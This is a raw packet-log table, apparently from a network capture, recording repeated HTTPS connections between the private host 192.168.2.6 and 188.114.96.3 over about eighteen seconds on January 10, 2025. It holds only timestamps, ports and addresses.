Jan 10, 2025 15:14:14.147404909 CET	443	50042	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:14.147456884 CET	50042	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:14.147483110 CET	50042	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:14.147665024 CET	50042	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:14.147681952 CET	443	50042	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:14.147706032 CET	50042	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:14.147723913 CET	50042	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:14.274244070 CET	50043	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:14.274287939 CET	443	50043	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:14.274413109 CET	50043	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:14.274658918 CET	50043	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:14.274678946 CET	443	50043	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:14.730314970 CET	443	50043	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:14.730397940 CET	50043	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:14.730788946 CET	50043	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:14.730802059 CET	443	50043	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:14.731992006 CET	50043	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:14.732008934 CET	443	50043	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:15.157356977 CET	443	50043	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:15.157450914 CET	443	50043	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:15.157488108 CET	50043	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:15.157512903 CET	50043	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:15.157665014 CET	50043	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:15.157675982 CET	443	50043	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:15.157706022 CET	50043	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:15.157727003 CET	50043	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:15.289876938 CET	50044	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:15.289916039 CET	443	50044	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:15.290005922 CET	50044	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:15.290368080 CET	50044	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:15.290381908 CET	443	50044	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:15.932807922 CET	443	50044	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:15.932944059 CET	50044	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:15.933677912 CET	50044	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:15.933685064 CET	443	50044	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:15.935431957 CET	50044	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:15.935437918 CET	443	50044	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:16.351635933 CET	443	50044	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:16.351694107 CET	50044	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:16.351710081 CET	443	50044	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:16.351727009 CET	443	50044	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:16.351764917 CET	50044	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:16.351797104 CET	50044	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:16.352108955 CET	50044	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:16.352121115 CET	443	50044	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:16.461822987 CET	50045	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:16.461875916 CET	443	50045	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:16.462004900 CET	50045	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:16.462260962 CET	50045	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:16.462275028 CET	443	50045	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:16.931142092 CET	443	50045	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:16.931206942 CET	50045	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:16.931705952 CET	50045	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:16.931718111 CET	443	50045	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:16.933403015 CET	50045	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:16.933408976 CET	443	50045	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:17.373554945 CET	443	50045	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:17.373636961 CET	443	50045	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:17.373697996 CET	50045	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:17.373697996 CET	50045	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:17.378616095 CET	50045	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:17.378670931 CET	443	50045	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:17.378699064 CET	50045	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:17.378727913 CET	50045	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:17.508605957 CET	50046	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:17.508621931 CET	443	50046	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:17.508714914 CET	50046	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:17.508959055 CET	50046	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:17.508975029 CET	443	50046	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:18.010818005 CET	443	50046	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:18.010966063 CET	50046	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:18.011395931 CET	50046	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:18.011401892 CET	443	50046	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:18.012948990 CET	50046	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:18.012954950 CET	443	50046	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:18.442842007 CET	443	50046	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:18.442908049 CET	443	50046	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:18.443046093 CET	50046	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:18.443195105 CET	50046	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:18.443209887 CET	443	50046	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:18.443231106 CET	50046	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:18.443253040 CET	50046	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:18.555686951 CET	50047	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:18.555740118 CET	443	50047	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:18.555833101 CET	50047	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:18.556107044 CET	50047	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:18.556116104 CET	443	50047	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:19.037302017 CET	443	50047	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:19.037468910 CET	50047	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:19.038198948 CET	50047	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:19.038208008 CET	443	50047	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:19.039705038 CET	50047	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:19.039709091 CET	443	50047	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:19.429126978 CET	443	50047	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:19.429212093 CET	443	50047	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:19.429253101 CET	50047	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:19.429286957 CET	50047	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:19.429405928 CET	50047	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:19.429430962 CET	443	50047	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:19.429441929 CET	50047	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:19.429481030 CET	50047	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:19.539979935 CET	50048	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:19.540026903 CET	443	50048	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:19.540116072 CET	50048	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:19.540379047 CET	50048	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:19.540394068 CET	443	50048	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:20.029781103 CET	443	50048	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:20.029994011 CET	50048	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:20.030445099 CET	50048	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:20.030453920 CET	443	50048	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:20.032099009 CET	50048	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:20.032104015 CET	443	50048	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:20.419492006 CET	443	50048	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:20.419560909 CET	443	50048	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:20.419630051 CET	50048	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:20.419653893 CET	50048	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:20.419759035 CET	50048	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:20.419776917 CET	443	50048	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:20.419786930 CET	50048	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:20.419821978 CET	50048	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:20.603853941 CET	50049	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:20.603888988 CET	443	50049	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:20.603985071 CET	50049	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:20.604293108 CET	50049	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:20.604305029 CET	443	50049	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:21.081772089 CET	443	50049	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:21.081832886 CET	50049	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:21.082350016 CET	50049	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:21.082360983 CET	443	50049	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:21.083729982 CET	50049	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:21.083736897 CET	443	50049	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:21.568706036 CET	443	50049	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:21.568845987 CET	443	50049	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:21.568917036 CET	50049	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:21.569030046 CET	50049	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:21.569048882 CET	443	50049	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:21.569062948 CET	50049	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:21.571088076 CET	50049	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:21.680510998 CET	50051	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:21.680531025 CET	443	50051	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:21.680613995 CET	50051	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:21.680937052 CET	50051	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:21.680948973 CET	443	50051	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:22.153162003 CET	443	50051	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:22.153254032 CET	50051	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:22.153683901 CET	50051	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:22.153692007 CET	443	50051	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:22.155409098 CET	50051	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:22.155416012 CET	443	50051	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:22.570269108 CET	443	50051	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:22.570413113 CET	50051	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:22.570430040 CET	443	50051	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:22.570483923 CET	50051	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:22.570589066 CET	50051	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:22.570607901 CET	443	50051	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:22.570620060 CET	50051	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:22.570657969 CET	50051	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:22.680519104 CET	50052	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:22.680561066 CET	443	50052	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:22.680644035 CET	50052	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:22.680948019 CET	50052	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:22.680958033 CET	443	50052	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:23.174637079 CET	443	50052	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:23.174782038 CET	50052	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:23.175236940 CET	50052	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:23.175251007 CET	443	50052	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:23.176590919 CET	50052	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:23.176605940 CET	443	50052	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:23.601972103 CET	443	50052	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:23.602036953 CET	50052	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:23.602057934 CET	443	50052	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:23.602097988 CET	50052	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:23.602123022 CET	443	50052	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:23.602164030 CET	50052	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:23.602569103 CET	50052	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:23.602586031 CET	443	50052	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:23.602601051 CET	50052	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:23.602623940 CET	50052	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:23.712326050 CET	50053	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:23.712383986 CET	443	50053	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:23.712465048 CET	50053	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:23.712719917 CET	50053	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:23.712737083 CET	443	50053	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:24.179805994 CET	443	50053	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:24.179872990 CET	50053	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:24.180552006 CET	50053	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:24.180562019 CET	443	50053	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:24.183490992 CET	50053	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:24.183501959 CET	443	50053	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:24.563580036 CET	443	50053	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:24.563641071 CET	443	50053	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:24.563689947 CET	50053	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:24.563713074 CET	50053	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:24.563827991 CET	50053	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:24.563843966 CET	443	50053	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:24.563854933 CET	50053	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:24.563888073 CET	50053	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:24.680444956 CET	50054	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:24.680476904 CET	443	50054	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:24.680557013 CET	50054	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:24.680860043 CET	50054	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:24.680872917 CET	443	50054	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:25.144988060 CET	443	50054	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:25.145139933 CET	50054	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:25.145752907 CET	50054	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:25.145770073 CET	443	50054	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:25.147056103 CET	50054	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:25.147068977 CET	443	50054	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:25.536191940 CET	443	50054	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:25.536269903 CET	443	50054	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:25.536330938 CET	50054	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:25.536391020 CET	50054	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:25.536942005 CET	50054	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:25.536966085 CET	443	50054	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:25.649791956 CET	50055	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:25.649815083 CET	443	50055	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:25.649899006 CET	50055	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:25.650182962 CET	50055	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:25.650198936 CET	443	50055	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:26.106890917 CET	443	50055	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:26.107114077 CET	50055	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:26.107538939 CET	50055	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:26.107549906 CET	443	50055	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:26.109278917 CET	50055	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:26.109283924 CET	443	50055	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:26.499636889 CET	443	50055	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:26.499718904 CET	443	50055	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:26.499771118 CET	50055	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:26.499799967 CET	50055	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:26.499922991 CET	50055	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:26.499943018 CET	443	50055	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:26.499952078 CET	50055	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:26.499984980 CET	50055	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:26.603142977 CET	50056	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:26.603187084 CET	443	50056	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:26.603332043 CET	50056	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:26.603796005 CET	50056	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:26.603813887 CET	443	50056	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:27.058847904 CET	443	50056	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:27.059010983 CET	50056	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:27.059405088 CET	50056	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:27.059420109 CET	443	50056	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:27.062021017 CET	50056	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:27.062037945 CET	443	50056	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:27.480225086 CET	443	50056	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:27.480288029 CET	443	50056	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:27.480333090 CET	50056	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:27.480483055 CET	50056	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:27.480483055 CET	50056	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:27.480483055 CET	50056	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:27.587033987 CET	50057	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:27.587078094 CET	443	50057	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:27.587167025 CET	50057	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:27.587459087 CET	50057	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:27.587472916 CET	443	50057	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:28.060224056 CET	443	50057	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:28.060365915 CET	50057	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:28.060837984 CET	50057	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:28.060847998 CET	443	50057	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:28.062228918 CET	50057	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:28.062247038 CET	443	50057	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:28.467324972 CET	443	50057	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:28.467381001 CET	443	50057	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:28.467451096 CET	50057	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:28.467466116 CET	50057	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:28.467612028 CET	50057	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:28.467629910 CET	443	50057	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:28.467648029 CET	50057	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:28.467679977 CET	50057	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:28.571274996 CET	50058	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:28.571346998 CET	443	50058	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:28.571583033 CET	50058	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:28.572001934 CET	50058	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:28.572014093 CET	443	50058	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:29.027132988 CET	443	50058	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:29.027349949 CET	50058	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:29.027853012 CET	50058	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:29.027868032 CET	443	50058	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:29.029256105 CET	50058	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:29.029268026 CET	443	50058	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:29.413337946 CET	443	50058	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:29.413409948 CET	443	50058	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:29.413475037 CET	50058	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:29.413506031 CET	50058	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:29.414978981 CET	50058	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:29.414997101 CET	443	50058	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:29.415008068 CET	50058	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:29.415045023 CET	50058	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:29.524753094 CET	50059	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:29.524807930 CET	443	50059	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:29.524930954 CET	50059	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:29.525201082 CET	50059	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:29.525211096 CET	443	50059	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:30.001173019 CET	443	50059	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:30.001244068 CET	50059	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:30.004926920 CET	50059	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:30.004931927 CET	443	50059	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:30.007332087 CET	50059	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:30.007337093 CET	443	50059	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:30.414937973 CET	443	50059	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:30.415019989 CET	443	50059	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:30.415072918 CET	50059	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:30.415097952 CET	50059	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:30.417949915 CET	50059	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:30.417968988 CET	443	50059	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:30.417979002 CET	50059	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:30.418025970 CET	50059	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:30.541340113 CET	50060	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:30.541388988 CET	443	50060	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:30.541446924 CET	50060	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:30.542314053 CET	50060	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:30.542326927 CET	443	50060	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:31.002063990 CET	443	50060	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:31.002145052 CET	50060	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:31.002661943 CET	50060	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:31.002672911 CET	443	50060	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:31.004304886 CET	50060	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:31.004321098 CET	443	50060	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:31.425415039 CET	443	50060	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:31.425479889 CET	443	50060	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:31.425601959 CET	50060	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:31.425767899 CET	50060	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:31.425767899 CET	50060	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:31.425822020 CET	50060	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:31.539967060 CET	50061	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:31.540009022 CET	443	50061	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:31.540147066 CET	50061	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:31.540410042 CET	50061	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:31.540421963 CET	443	50061	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:32.017616987 CET	443	50061	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:32.017708063 CET	50061	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:32.018161058 CET	50061	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:32.018172979 CET	443	50061	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:32.019445896 CET	50061	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:32.019450903 CET	443	50061	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:32.461926937 CET	443	50061	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:32.462004900 CET	443	50061	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:32.462030888 CET	50061	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:32.462068081 CET	50061	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:32.462194920 CET	50061	443	192.168.2.6	188.114.96.3
